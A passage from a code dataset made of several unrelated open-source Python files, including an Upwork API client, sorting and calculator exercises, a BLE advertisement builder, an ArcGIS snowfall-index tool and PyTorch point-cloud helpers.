logging.getLogger()\n\n\ndef get_desktop_client():\n token = {\n \"access_token\": configuration.get(\"UPWORK\", \"access_token\"),\n \"expires_at\": configuration.getfloat(\"UPWORK\", \"expires_at\"),\n \"expires_in\": configuration.getint(\"UPWORK\", \"expires_in\"),\n \"refresh_token\": configuration.get(\"UPWORK\", \"refresh_token\"),\n \"token_type\": configuration.get(\"UPWORK\", \"token_type\"),\n }\n\n config = upwork.Config(\n {\n \"client_id\": configuration.get(\"UPWORK\", \"client_id\"),\n \"client_secret\": configuration.get(\"UPWORK\", \"client_secret\"),\n \"token\": token,\n }\n )\n client = upwork.Client(config)\n\n try:\n config.token\n except AttributeError as e:\n authorization_url, state = client.get_authorization_url()\n LOGGER.error(\"Upw auth error: \", e)\n # cover \"state\" flow if needed\n authz_code = input(\n \"Please enter the full callback URL you get \"\n \"following this link:\\n{0}\\n\\n> \".format(authorization_url)\n )\n print(\"Retrieving access and refresh tokens.... \")\n token = client.get_access_token(authz_code)\n # WARNING: the access token will be refreshed automatically for you\n # in case it's expired, i.e. expires_at < time(). Make sure you replace the\n # old token accordingly in your security storage. Call client.get_actual_config\n # periodically to sync-up the data\n pprint(token)\n print(\"OK\")\n\n return client\n\n\ndef get_job(data: str) -> list:\n client = get_desktop_client()\n client_jobs = []\n response_dict = profile.Api(client).get_specific(data)\n list_of_jobs = response_dict[\"profile\"][\"op_other_jobs\"]\n if len(list_of_jobs) == 0:\n client_jobs = None\n return client_jobs\n else:\n list_of_jobs = response_dict[\"profile\"][\"op_other_jobs\"][\"op_other_job\"]\n if isinstance(list_of_jobs, list) and len(list_of_jobs) > 1:\n for item in list_of_jobs:\n client_jobs.append(item[\"op_ciphertext\"])\n else: # 1 dict\n for item in list_of_jobs.values():\n client_jobs.append(item)\n return client_jobs\n","repo_name":"COXIT-CO/upwork_bot","sub_path":"bot/upwork_integration.py","file_name":"upwork_integration.py","file_ext":"py","file_size_in_byte":2445,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"16220968216","text":"li_1 = [ 6,8,1,4,10,7,8,9,3,2,5]\n\ndef bubble_sort(arg):\n swap_happened = True\n while swap_happened:\n swap_happened = False\n print(arg)\n for num in range(len(arg)-1):\n if arg[num] > arg[num+1]:\n swap_happened = True\n arg[num], arg[num+1] = arg[num+1], arg[num]\n\n# 1. grab the first element in the list, compare it to second element\n# arg[0] > arg[1]\n# 2. compare for the remainder of the list, not just first two element\n# for num in range(len(arg)-1):\n# arg[num] > arg[num+1]\n# 3. performing swap\n# for num in range(len(arg)-1):\n# if arg[num] > arg[num+1]:\n# arg[num],arg[num+1] = arg[num+1] > arg[num]\n# 4. make any other iteration that necessary to get a completely sorted\n\n# way 1 - run a loop for the number of elements that you have in the list\n# if you nest this for loop inside another for loop which runs eleven times, then you'll end up with sorted array\n# but this is not effcient, because it could end up with sorted list at fifth or sixth iteration, then it's running some extra steps \n# way 2 - use a 'flag' to track if a swap happened\n# anytime there's a swap that takes place in this for loop, we're going to set the flag to true\n# and then keep running it till it has a full run through this for loop through all the elements where no swap takes place\n\ndef bubble_bubble(arg):\n swap_happened = True # make boolean variable\n comparision = 0\n while swap_happened: # check for if swap_happened is true, and keep running this as long as swap_happend is True\n comparision += 1\n swap_happened = False\n print('bubble sort status:' + str(arg))\n for num in range(len(arg)-1):\n comparision += 1\n if arg[num] > arg[num+1]: \n swap_happened = True\n arg[num],arg[num+1] = arg[num+1],arg[num]\n\nbubble_bubble(li_1)\n","repo_name":"hamineee/algorithm","sub_path":"algorithm_basic/bubble_sort.py","file_name":"bubble_sort.py","file_ext":"py","file_size_in_byte":1912,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"45080907508","text":"# from .bleHelper import BleHelper\n\n\nclass BleAdvertisementBuilder:\n def __init__(self, obniz, json):\n self.obniz = obniz\n self.rows = {}\n\n if json:\n if \"localName\" in json:\n self.set_complete_local_name(json[\"localName\"])\n\n if (\n \"manufacturerData\" in json\n and \"companyCode\" in json[\"manufacturerData\"]\n and \"data\" in json[\"manufacturerData\"]\n ):\n self.set_manufacturer_specific_data(\n json[\"manufacturerData\"][\"companyCode\"],\n json[\"manufacturerData\"][\"data\"],\n )\n\n if \"serviceUuids\" in json:\n for uuid in json[\"serviceUuids\"]:\n self.setUuid(uuid)\n\n if self.extend_eval_json:\n self.extend_eval_json(json)\n\n def set_row(self, type, data):\n self.rows[type] = data\n\n def get_row(self, type):\n return self.rows.get(type, [])\n\n def build(self):\n data = []\n for key in sorted(self.rows.keys()):\n if len(self.rows[key]) == 0:\n continue\n\n data.append(len(self.rows[key]) + 1)\n data.append(int(key))\n data.extend(self.rows[key])\n\n if len(data) > 31:\n self.obniz.error(\n \"Too large data. Advertise/ScanResponse data are must be less than 32 byte.\"\n )\n\n return data\n\n def set_string_data(self, type, string):\n data = []\n\n for c in string:\n data.append(ord(c))\n\n self.set_row(type, data)\n\n # setShortenedLocalName(name) {\n # self.setStringData(0x08, name)\n # }\n\n def set_complete_local_name(self, name):\n self.set_string_data(0x09, name)\n\n def set_manufacturer_specific_data(self, company_code, data):\n row = []\n row.append(company_code & 0xFF)\n row.append((company_code >> 8) & 0xFF)\n row.extend(data)\n self.set_row(0xFF, row)\n\n # setUuid(uuid) {\n # uuidData = self.convertUuid(uuid)\n # type = { 16: 0x06, 4: 0x04, 2: 0x02 }[uuidData.length]\n # self.set_row(type, uuidData)\n # }\n\n #    convertUuid(uuid) {\n # uuidNumeric = BleHelper.uuidFilter(uuid)\n # if (\n # uuidNumeric.length !== 32 and\n # uuidNumeric.length !== 8 and\n # uuidNumeric.length !== 4\n # ) {\n # self.obniz.error(\n # 'BLE uuid must be 16/32/128 bit . '\n # + '(example: c28f0ad5-a7fd-48be-9fd0-eae9ffd3a8bb for 128bit)'\n # )\n # }\n\n # data = []\n # for (i = uuidNumeric.length i > 1 i -= 2) {\n # data.append(parseInt(uuidNumeric[i - 2] + uuidNumeric[i - 1], 16))\n # }\n # return data\n # }\n\n # setIbeaconData(uuid, major, minor, txPower) {\n # data = []\n # data.append(0x02, 0x15) // fixed data\n\n # uuidData = self.convertUuid(uuid)\n # Array.prototype.append.apply(data, uuidData)\n\n # data.append((major >> 8) & 0xff)\n # data.append((major >> 0) & 0xff)\n # data.append((minor >> 8) & 0xff)\n # data.append((minor >> 0) & 0xff)\n # data.append((txPower >> 0) & 0xff)\n\n # self.setManufacturerSpecificData(0x004c, data)\n # return\n # }\n\n def extend_eval_json(self, json):\n if json:\n if \"flags\" in json:\n if \"limited_discoverable_mode\" in json[\"flags\"]:\n self.set_le_limited_discoverable_mode_flag()\n if \"general_discoverable_mode\" in json[\"flags\"]:\n self.set_le_general_discoverable_mode_flag()\n if \"br_edr_not_supported\" in json[\"flags\"]:\n self.set_br_edr_not_supported_flag()\n if \"le_br_edr_controller\" in json[\"flags\"]:\n self.set_le_br_edr_controller_flag()\n if \"le_br_edr_host\" in json[\"flags\"]:\n self.set_le_br_edr_host_flag()\n\n def set_flags(self, flag):\n data = self.get_row(0x01)\n if len(data):\n data[0] = data[0] | flag\n else:\n data.append(flag)\n self.set_row(0x01, data)\n\n def set_le_limited_discoverable_mode_flag(self):\n self.set_flags(0x01)\n\n def set_le_general_discoverable_mode_flag(self):\n self.set_flags(0x02)\n\n def set_br_edr_not_supported_flag(self):\n self.set_flags(0x04)\n\n def set_le_br_edr_controller_flag(self):\n self.set_flags(0x08)\n\n def set_le_br_edr_host_flag(self):\n self.set_flags(0x10)\n","repo_name":"obniz/obniz-python-sdk","sub_path":"obniz/obniz/libs/embeds/ble/ble_advertisement_builder.py","file_name":"ble_advertisement_builder.py","file_ext":"py","file_size_in_byte":4770,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"72"} +{"seq_id":"21152838339","text":"from flask import Flask, render_template, request\nfrom stations import getStations, Car, getStationsDistance, getMonthlyPriceTransportation, getDailyPrice, getStation, getCar\napplication = Flask(__name__)\n\narray = []\nstations_array=getStations()\n\n@application.route(\"/\")\ndef landing():\n avg_saved_per_month = 52\n return render_template('index.html', avg_saved=avg_saved_per_month)\n\n@application.route(\"/personalised\", methods=['GET', 'POST'])\ndef personalised():\n if len(array) == 0:\n for station in stations_array:\n array.append(station.name)\n\n if request.method == 'GET':\n return render_template('personalised.html', post=False, stations=array, alert_user=False)\n else:\n print(request.form['dropdowncars'])\n car = getCar(request.form['dropdowncars'])\n print(type(car))\n\n fromStation = getStation(request.form['from'])\n toStation = getStation(request.form['to'])\n distance = getStationsDistance(fromStation, toStation)\n\n incorrect_stations = False\n if fromStation.name == \"\" or toStation.name == \"\":\n incorrect_stations = True\n\n return render_template('personalised.html',\n car_monthly=(car.getMonthlyPriceGas(distance)+car.getMonthlyLossofValue(distance)),\n car_daily=(car.getDailyPriceGas(distance)+car.getDailyLossofValue(distance)),\n public_transport_monthly=getMonthlyPriceTransportation(fromStation, toStation),\n public_transport_daily=getDailyPrice(fromStation, toStation),\n post=True, stations=array, alert_user=incorrect_stations)\n\nif __name__ == \"__main__\":\n application.run(host='127.0.0.1')\n","repo_name":"razofz/hackaTUM18","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1676,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"35249476678","text":"from tkinter import *\r\nroot = Tk()\r\nroot.title(\"Calculator\")\r\nroot.configure(bg=\"Black\")\r\n\r\ne = Entry(root)\r\ne.configure(bg=\"#f2f5fc\")\r\ne.grid(row=0, column=0, columnspan=4, ipadx=50, ipady=20, padx=10, pady=10)\r\n\r\n\r\ndef click_me(number):\r\n current = e.get()\r\n e.delete(0, END)\r\n e.insert(0, str(current) + str(number))\r\n\r\n\r\ndef clear():\r\n e.delete(0, END)\r\n\r\n\r\ndef addition():\r\n global first_number\r\n global math\r\n math = \"Addition\"\r\n first_number = e.get()\r\n e.delete(0, END)\r\n\r\n\r\ndef subtraction():\r\n global first_number\r\n global math\r\n math = \"Subtraction\"\r\n first_number = e.get()\r\n e.delete(0, END)\r\n\r\n\r\ndef multiplication():\r\n global first_number\r\n global math\r\n math = \"Multiplication\"\r\n first_number = e.get()\r\n e.delete(0, END)\r\n\r\n\r\ndef division():\r\n global first_number\r\n global math\r\n math = \"Division\"\r\n first_number = e.get()\r\n e.delete(0, END)\r\n\r\n\r\ndef equal():\r\n sec_number = e.get()\r\n e.delete(0, END)\r\n if math == \"Addition\":\r\n e.insert(0, int(first_number) + int(sec_number))\r\n\r\n elif math == \"Subtraction\":\r\n e.insert(0, int(first_number) - int(sec_number))\r\n\r\n elif math == \"Multiplication\":\r\n e.insert(0, int(first_number) * int(sec_number))\r\n\r\n elif math == \"Division\":\r\n e.insert(0, int(first_number) / int(sec_number))\r\n\r\n\r\n# creating Buttons\r\nb9 = Button(root, text=\"9\", bg=\"#18191c\", fg=\"White\", command=lambda: click_me(9))\r\nb8 = Button(root, text=\"8\", bg=\"#18191c\", fg=\"White\", command=lambda: click_me(8))\r\nb7 = Button(root, text=\"7\", bg=\"#18191c\", fg=\"White\", command=lambda: click_me(7))\r\nb6 = Button(root, text=\"6\", bg=\"#18191c\", fg=\"White\", command=lambda: click_me(6))\r\n\r\nb5 = Button(root, text=\"5\", bg=\"#18191c\", fg=\"White\", command=lambda: click_me(5))\r\nb4 = Button(root, text=\"4\", bg=\"#18191c\", fg=\"White\", command=lambda: click_me(4))\r\nb3 = Button(root, text=\"3\", bg=\"#18191c\", fg=\"White\", command=lambda: click_me(3))\r\nb2 = Button(root, text=\"2\", bg=\"#18191c\", fg=\"White\", command=lambda: click_me(2))\r\nb1 = Button(root, text=\"1\", bg=\"#18191c\", fg=\"White\", command=lambda: click_me(1))\r\nb0 = Button(root, text=\"0\", bg=\"#18191c\", fg=\"White\", command=lambda: click_me(0))\r\n\r\nbAdd = Button(root, text=\"+\", bg=\"#18191c\", fg=\"White\", command=addition)\r\nbSub = Button(root, text=\"-\", bg=\"#18191c\", fg=\"White\", command=subtraction)\r\nbMul = Button(root, text=\"*\", bg=\"#18191c\", fg=\"White\", command=multiplication)\r\nbdiv = Button(root, text=\"/\", bg=\"#18191c\", fg=\"White\", command=division)\r\nbequal = Button(root, text=\"=\", bg=\"#18191c\", fg=\"White\", command=equal)\r\nbclear = Button(root, text=\"Clear\", bg=\"#18191c\", fg=\"White\", command=clear)\r\n\r\n# putting the Widgets on the Window\r\nb9.grid(row=1, column=0, ipadx=20, ipady=20)\r\nb8.grid(row=1, column=1, ipadx=20, ipady=20)\r\nb7.grid(row=1, column=2, ipadx=20, ipady=20)\r\nb6.grid(row=1, column=3, ipadx=20, ipady=20)\r\n\r\nb5.grid(row=2, column=0, ipadx=20, ipady=20)\r\nb4.grid(row=2, column=1, ipadx=20, ipady=20)\r\nb3.grid(row=2, column=2, ipadx=20, ipady=20)\r\nb2.grid(row=2, column=3, ipadx=20, ipady=20)\r\n\r\nb1.grid(row=3, column=0, ipadx=20, ipady=20)\r\nbAdd.grid(row=3, column=1, ipadx=20, ipady=20)\r\nbSub.grid(row=3, column=2, ipadx=20, ipady=20)\r\nbMul.grid(row=3, column=3, ipadx=20, ipady=20)\r\n\r\nbdiv.grid(row=4, column=0, ipadx=20, ipady=20)\r\nbequal.grid(row=4, column=1, ipadx=20, ipady=20)\r\nbclear.grid(row=4, column=2, ipadx=10, ipady=20)\r\nb0.grid(row=4, column=3, ipadx=20, ipady=20)\r\n\r\nroot.mainloop()\r\n","repo_name":"shenalme/Simple-Calculator-GUI-with-Tkinter","sub_path":"Simple Calculator GUI.py","file_name":"Simple Calculator GUI.py","file_ext":"py","file_size_in_byte":3508,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"13390222125","text":"# Программа загадывает число от 0 до 1000. \n# Необходимо угадать число за 10 попыток. \n# Программа должна подсказывать «больше» или «меньше» после каждой попытки.\n# Для генерации случайного числа используйте код: \n# from random import randint \n# num = randint(LOWER_LIMIT, UPPER_LIMIT)\n\nfrom random import randint \n\nnum = randint(0, 1000)\nprint('Число от 0 до 1000 сгенерировано. Попробуйте угадать за 10 попыток это число')\nTRY = 10\ncount = 1\n\nwhile count < TRY:\n count += 1\n answer = int(input('Введите число: '))\n if answer == num:\n print(f'Верно! Угадано за {count} попыток(ки)')\n break\n elif answer < num:\n print(f'Больше! Осталось {TRY-count} попыток(ки)')\n continue\n else:\n print(f'Меньше! Осталось {TRY-count} попыток(ки)')\n continue\n \nprint(f'Загаданное число {num}')","repo_name":"Ashka-08/Python_lessons","sub_path":"ADVANCED/homeworks/hw1/task3.py","file_name":"task3.py","file_ext":"py","file_size_in_byte":1152,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"34404130726","text":"#!/usr/bin/env python\n# encoding: utf-8\n\n\"\"\"\n@description: 属性 装饰器\n\n@author: BaoQiang\n@time: 2017/6/22 14:33\n\"\"\"\n\nfrom fluentpy.ch20_descriptor.sec20_diy_property import Quantity3, Validated, NoBlank\nimport collections\n\n\ndef entity(cls):\n for key, attr in cls.__dict__.items():\n if isinstance(attr, Validated):\n type_name = type(attr).__name__\n attr.storage_name = '_{}#{}'.format(type_name, key)\n return cls\n\n\nclass EntityMeta(type):\n def __init__(cls, name, bases, attr_dict):\n super().__init__(name, bases, attr_dict)\n cls.field_names = []\n # for key, attr in cls.__dict__.items():\n for key, attr in attr_dict.items():\n if isinstance(attr, Validated):\n type_name = type(attr).__name__\n attr.storage_name = '_{}#{}'.format(type_name, key)\n\n cls.field_names.append(key)\n\n @classmethod\n def __prepare__(metacls, name, bases):\n return collections.OrderedDict()\n\n\nclass Entity2(metaclass=EntityMeta):\n @classmethod\n def field_names(cls):\n for name in cls._field_names:\n yield name\n\n\n# @entity\nclass LineItem(Entity2):\n weight = Quantity3()\n description = NoBlank()\n price = Quantity3()\n\n def __init__(self, description, weight, price):\n self.description = description\n self.weight = weight\n self.price = price\n\n def subtotal(self):\n return self.weight * self.price\n\n\ndef run():\n ins = LineItem('he', 70, 30)\n for item in ins.field_names:\n print(item)\n print(dir(ins))\n\n\ndef main():\n run()\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"xiaoaxe/xiao-fluent-python","sub_path":"fluentpy/ch21_class_metaprog/sec02_property_meta.py","file_name":"sec02_property_meta.py","file_ext":"py","file_size_in_byte":1657,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"20589579234","text":"#Name: rsi_tool.py\r\n#Purpose: ArcGIS Script Tool for calculating Regional Snowfall Index\r\n#Usage: This script is designed to run from RSITool Script Tool in ArcGIS, but\r\n# it can also run interactively from the command prompt.\r\n#\r\n#Command Prompt Usage: rsi_tool.py \r\n#Command Prompt Example:\r\n# rsi_tool.py \"C:/Temp/GHCND_19930312_19930315_C.shp\" \"C:/Temp/pop_grid\" \\\r\n# \"C:/Temp/regions.shp\" \"C:/Temp/output\"\r\n#\r\n#Author: Jon Burroughs (jdburrou)\r\n#Date: 4/29/2012\r\n\r\nimport sys, os, datetime, traceback, arcpy\r\n\r\nfrom rsi_parameters import parameters\r\n\r\ndef isScriptTool() :\r\n \"\"\"Checks to see if tool is running from a Script Tool context\"\"\"\r\n param = arcpy.GetParameter(0)\r\n if param :\r\n return True\r\n else :\r\n return False \r\n\r\ndef getArgs() :\r\n \"\"\"Gets arguments from either Script Tool or sys.argv, depending on runtime context\"\"\"\r\n # Check if running from Script Tool\r\n args = {}\r\n if isScriptTool() :\r\n args['log'] = arcpy.AddMessage\r\n args['snowStorms'] = arcpy.GetParameterAsText(0).split(';')\r\n args['popGrid'] = arcpy.GetParameterAsText(1)\r\n args['regions'] = arcpy.GetParameterAsText(2)\r\n args['netCDF'] = arcpy.GetParameter(3)\r\n args['outputBase'] = os.path.normpath(arcpy.GetParameterAsText(4))\r\n args['cellSize'] = arcpy.GetParameter(5)\r\n args['weight'] = arcpy.GetParameter(6)\r\n args['searchRadius'] = arcpy.GetParameter(7)\r\n else :\r\n # We're running from the command line\r\n args['log'] = lambda msg: sys.stdout.write(msg + \"\\n\")\r\n args['snowStorms'] = sys.argv[1].split(';')\r\n args['popGrid'] = sys.argv[2]\r\n args['regions'] = sys.argv[3]\r\n args['outputBase'] = sys.argv[4]\r\n \r\n # rest are hard-coded... change if you must\r\n args['netCDF'] = True\r\n args['cellSize'] = \"5000\"\r\n args['weight'] = 2.0\r\n args['searchRadius'] = \"FIXED 100000\"\r\n return args\r\n\r\ndef getStormId(snowStorm) :\r\n \"\"\"Converts long storm name into short grid name\"\"\"\r\n # Derive storm ID from input file.\r\n # Based on storm start date and duration (in days)\r\n # ID Format is:\r\n # YYYYMMDDdd\r\n # YYYY = start year\r\n # MM = start month\r\n # DD = start day\r\n # dd = storm duration in days \r\n file = os.path.basename(snowStorm)\r\n startDate = datetime.date(\r\n int(file[6:10]),\r\n int(file[10:12]),\r\n int(file[12:14]))\r\n endDate = datetime.date(\r\n int(file[15:19]),\r\n int(file[19:21]),\r\n int(file[21:23]))\r\n duration = (endDate - startDate).days\r\n stormId = startDate.strftime(\"%Y%m%d\") + \"%02d\" % (duration)\r\n return stormId\r\n\r\ndef convertNetCDF(grid, ncFile) :\r\n \"\"\"Converts grid to NetCDF\"\"\"\r\n arcpy.RasterToNetCDF_md(grid, ncFile)\r\n log(\"--> NetCDF Output: %s\" % os.path.normpath(ncFile))\r\n\r\ndef rsiToCategory(index) :\r\n \"\"\"Converts Regional Snowfall Index to Category\"\"\"\r\n if index < 1 :\r\n rcat = 0\r\n elif index < 3 :\r\n rcat = 1\r\n elif index < 6 :\r\n rcat = 2\r\n elif index < 10 :\r\n rcat = 3\r\n elif index < 18 :\r\n rcat = 4\r\n else :\r\n rcat = 5\r\n return rcat\r\n\r\nclass RSITool :\r\n \"\"\"Calculates Regional Snowfall Index\"\"\"\r\n \r\n def __init__(self, snowStorm, regions, popGrid, parameters, outputDir) :\r\n \"\"\"Initializes RSITool\"\"\"\r\n self.stormId = getStormId(snowStorm)\r\n msg = \"Initializing stormId=%s\" % self.stormId\r\n log(msg)\r\n self.snowStorm = snowStorm\r\n self.regions = regions\r\n self.popGrid = popGrid\r\n self.parameters = parameters\r\n self.outputDir = outputDir\r\n \r\n # defaults\r\n self.cellSize = \"5000\"\r\n self.snowField = \"Snowfall\"\r\n self.weight = 2.0\r\n self.searchRadius = \"FIXED 100000\"\r\n self.netCDF = True\r\n\r\n # Prep output directory\r\n if not os.path.exists(outputDir) :\r\n os.mkdir(outputDir)\r\n \r\n def checkForSnow(self) :\r\n \"\"\"Checks regions for snow\"\"\"\r\n msg = \"Checking regions for snow. stormId=%s\" % self.stormId\r\n arcpy.SetProgressorLabel(msg)\r\n log(msg)\r\n\r\n # do point-in-polygon check for at least 1 snow observation \r\n poly_sc = arcpy.SearchCursor(self.regions)\r\n hadSnow = {}\r\n for poly_row in poly_sc :\r\n poly = poly_row.Shape\r\n regionId = poly_row.regionId\r\n hadSnow[regionId] = False\r\n point_sc = arcpy.SearchCursor(self.snowStorm)\r\n for point_row in point_sc :\r\n point = point_row.Shape\r\n if poly.contains(point) :\r\n hadSnow[regionId] = True\r\n break\r\n del point_row\r\n del point_sc\r\n del poly_row\r\n del poly_sc\r\n self.hadSnow = hadSnow\r\n \r\n def calculateRSI(self) :\r\n \"\"\"Calculate Regional Snowfall Index\"\"\"\r\n msg = \"Calculating RSI for stormId=%s\" % self.stormId\r\n arcpy.SetProgressorLabel(msg)\r\n log(msg)\r\n regionIds = self.parameters.keys()\r\n self.rindex = {}\r\n self.rcategory = {}\r\n\r\n # check regions for snow\r\n self.checkForSnow()\r\n\r\n # process each region\r\n for id in regionIds :\r\n if self.hadSnow[id] :\r\n\r\n # get reclassed snowfall and zonal stats\r\n cgrid = self.classifySnow(id)\r\n stats = self.calculateStats(cgrid, id)\r\n\r\n # calculate RSI\r\n cum_areas = []\r\n cum_pops = []\r\n normAreas = []\r\n normPops = []\r\n meanAreas = self.parameters[id]['meanArea']\r\n meanPops = self.parameters[id]['meanPop']\r\n\r\n rindex = 0\r\n i = 0\r\n sc = arcpy.SearchCursor(stats)\r\n for row in sc :\r\n if row.VALUE == 0 :\r\n continue\r\n normArea = row.CUM_AREA / float(meanAreas[i])\r\n normPop = row.CUM_POP / float(meanPops[i])\r\n rindex += (normArea + normPop)\r\n i += 1\r\n del row\r\n del sc\r\n self.rindex[id] = rindex\r\n self.rcategory[id] = rsiToCategory(rindex)\r\n else :\r\n log(\"Skipping regionId=%s. No Snow.\" % id)\r\n self.rindex[id] = 0\r\n self.rcategory[id] = 0\r\n \r\n def interpolateSnow(self) :\r\n \"\"\"Uses IDW to interpolate snowfall totals to grid\"\"\"\r\n msg = \"Interpolating snowfall. stormId=%s\" % self.stormId\r\n log(msg)\r\n arcpy.SetProgressorLabel(msg)\r\n\r\n # interpolate snowfall using IDW \r\n arcpy.env.extent = self.regions\r\n gridFile = self.outputDir + \"/S\" + self.stormId\r\n grid = arcpy.sa.Idw(\r\n self.snowStorm,\r\n self.snowField,\r\n self.cellSize,\r\n self.weight,\r\n self.searchRadius)\r\n arcpy.SetProgressorLabel(\"Saving output...\")\r\n grid.save(gridFile)\r\n self.snowGrid = gridFile\r\n log(\"--> GRID Output: %s\" % os.path.normpath(gridFile))\r\n\r\n # save to NetCDF if option is checked \r\n if self.netCDF :\r\n ncFile = gridFile + \".nc\"\r\n convertNetCDF(grid, ncFile)\r\n\r\n def classifySnow(self, regionId) :\r\n \"\"\"Reclassifies snowfall for a single region based on regional parameters\"\"\"\r\n msg = \"Classifying snowfall. regionId=%s\" % regionId\r\n log(msg)\r\n arcpy.SetProgressorLabel(msg)\r\n\r\n # Reclassify snowfall for this region \r\n thresholds = arcpy.sa.RemapRange(self.parameters[regionId]['thresholds'])\r\n regionLyr = \"%s_lyr\" % regionId\r\n arcpy.MakeFeatureLayer_management(self.regions, regionLyr, \"regionId = '%s'\" % regionId)\r\n gridFile = self.outputDir + \"/\" + regionId + self.stormId\r\n grid = arcpy.sa.Reclassify(self.snowGrid, \"Value\", thresholds)\r\n maskedGrid = arcpy.sa.ExtractByMask(grid, regionLyr)\r\n maskedGrid.save(gridFile)\r\n log(\"--> GRID Output: %s\" % os.path.normpath(gridFile))\r\n\r\n # create NetCDF if option is checked \r\n if self.netCDF :\r\n ncFile = gridFile + \".nc\"\r\n convertNetCDF(maskedGrid, ncFile)\r\n return gridFile\r\n \r\n def calculateStats(self, categoryGrid, regionId) :\r\n \"\"\"Calculates zonal snowfall/population statistics for a single region.\"\"\"\r\n msg = \"Calculating statistics. regionId=%s\" % regionId\r\n log(msg)\r\n arcpy.SetProgressorLabel(msg)\r\n\r\n # calculate zonal stats \r\n regionIds = self.parameters.keys()\r\n statsTable = self.outputDir + \"/\" + regionId + self.stormId + \".dbf\"\r\n arcpy.sa.ZonalStatisticsAsTable(\r\n categoryGrid, \"VALUE\", self.popGrid, statsTable, \"#\", \"SUM\")\r\n arcpy.AddField_management(statsTable, \"AreaSqMi\", \"DOUBLE\")\r\n arcpy.AddField_management(statsTable, \"CUM_POP\", \"LONG\")\r\n arcpy.AddField_management(statsTable, \"CUM_AREA\", \"DOUBLE\")\r\n arcpy.CalculateField_management(\r\n statsTable, \"AreaSqMi\", \"([AREA] / 1000000) * 0.3844\")\r\n\r\n # accumulate area and population for each threshold\r\n pops = []\r\n areas = []\r\n sc = arcpy.SearchCursor(statsTable)\r\n for row in sc :\r\n pops.append(row.SUM)\r\n areas.append(row.AreaSqMi)\r\n del row\r\n del sc\r\n\r\n areas.reverse()\r\n pops.reverse()\r\n\r\n uc = arcpy.UpdateCursor(statsTable)\r\n for row in uc :\r\n row.CUM_AREA = sum(areas)\r\n row.CUM_POP = sum(pops)\r\n uc.updateRow(row)\r\n areas.pop()\r\n pops.pop()\r\n del row\r\n del uc\r\n\r\n log(\"--> Table Output: %s\" % os.path.normpath(statsTable))\r\n return statsTable \r\n\r\n def save(self) :\r\n \"\"\"Saves RSI data to output table\"\"\"\r\n log(\"Saving results.\")\r\n\r\n # use region file as the base, add RSI fields \r\n outputFile = self.outputDir + \"/rsi\" + self.stormId + \".shp\"\r\n arcpy.CopyFeatures_management(self.regions, outputFile)\r\n arcpy.AddField_management(outputFile, \"Category\", \"LONG\")\r\n arcpy.AddField_management(outputFile, \"RSI\", \"DOUBLE\")\r\n\r\n # Add RSI data \r\n uc = arcpy.UpdateCursor(outputFile)\r\n for row in uc :\r\n regionId = row.regionId\r\n if self.rindex.has_key(regionId) :\r\n row.RSI = self.rindex[regionId]\r\n row.Category = self.rcategory[regionId]\r\n uc.updateRow(row)\r\n log(\"RSI: %3.2f, Category: %d, stormId=%s, regionId=%s\" % \\\r\n (self.rindex[regionId], self.rcategory[regionId], self.stormId, regionId))\r\n\r\n del row\r\n del uc\r\n self.rsiOutput = outputFile\r\n log(\"--> Table Output: %s\" % os.path.normpath(outputFile))\r\n\r\nif __name__ == '__main__' :\r\n\r\n # Checkout spatial extensions\r\n arcpy.CheckOutExtension(\"Spatial\")\r\n \r\n # Get Arguments\r\n args = getArgs()\r\n log = args['log']\r\n\r\n # Environment\r\n arcpy.env.overwriteOutput = True\r\n arcpy.env.extent = args['regions']\r\n arcpy.env.mask = args['regions']\r\n\r\n # Loop through snowstorms and calculate RSI\r\n rsiOutputs = []\r\n gridOutputs = []\r\n for snowStorm in args['snowStorms'] :\r\n try :\r\n rsi = RSITool(\r\n snowStorm, args['regions'], args['popGrid'],\r\n parameters, args['outputBase'])\r\n rsi.netCDF = args['netCDF']\r\n rsi.interpolateSnow()\r\n rsi.calculateRSI()\r\n rsi.save()\r\n log(\"Finished. stormId=%s\" % rsi.stormId)\r\n rsiOutputs.append(rsi.rsiOutput)\r\n gridOutputs.append(rsi.snowGrid)\r\n except :\r\n log(traceback.format_exc())\r\n raise Exception(\"RSI Tool Failed\")\r\n\r\n # Send RSI feature(s) back to ArcMap\r\n arcpy.SetParameter(8, \";\".join(gridOutputs))\r\n arcpy.SetParameter(9, \";\".join(rsiOutputs))","repo_name":"kb9zzw/rsi-toolbox","sub_path":"rsi_tool.py","file_name":"rsi_tool.py","file_ext":"py","file_size_in_byte":12307,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"74425788712","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom pointnet2_ops import pointnet2_utils\n\ndef cal_loss(pred, gold, smoothing=True):\n ''' Calculate cross entropy loss, apply label smoothing if needed. '''\n\n gold = gold.contiguous().view(-1)\n\n if smoothing:\n eps = 0.2\n n_class = pred.size(1)\n\n one_hot = torch.zeros_like(pred).scatter(1, gold.view(-1, 1), 1)\n one_hot = one_hot * (1 - eps) + (1 - one_hot) * eps / (n_class - 1)\n log_prb = F.log_softmax(pred, dim=1)\n\n loss = -(one_hot * log_prb).sum(dim=1).mean()\n else:\n loss = F.cross_entropy(pred, gold, reduction='mean')\n\n return loss\n\nclass IOStream():\n def __init__(self, path):\n self.f = open(path, 'a')\n\n def cprint(self, text):\n print(text)\n self.f.write(text+'\\n')\n self.f.flush()\n\n def close(self):\n self.f.close()\n\ndef square_distance(src, dst):\n \"\"\"\n Calculate Euclid distance between each two points.\n src^T * dst = xn * xm + yn * ym + zn * zm;\n sum(src^2, dim=-1) = xn*xn + yn*yn + zn*zn;\n sum(dst^2, dim=-1) = xm*xm + ym*ym + zm*zm;\n dist = (xn - xm)^2 + (yn - ym)^2 + (zn - zm)^2\n = sum(src**2,dim=-1)+sum(dst**2,dim=-1)-2*src^T*dst\n Input:\n 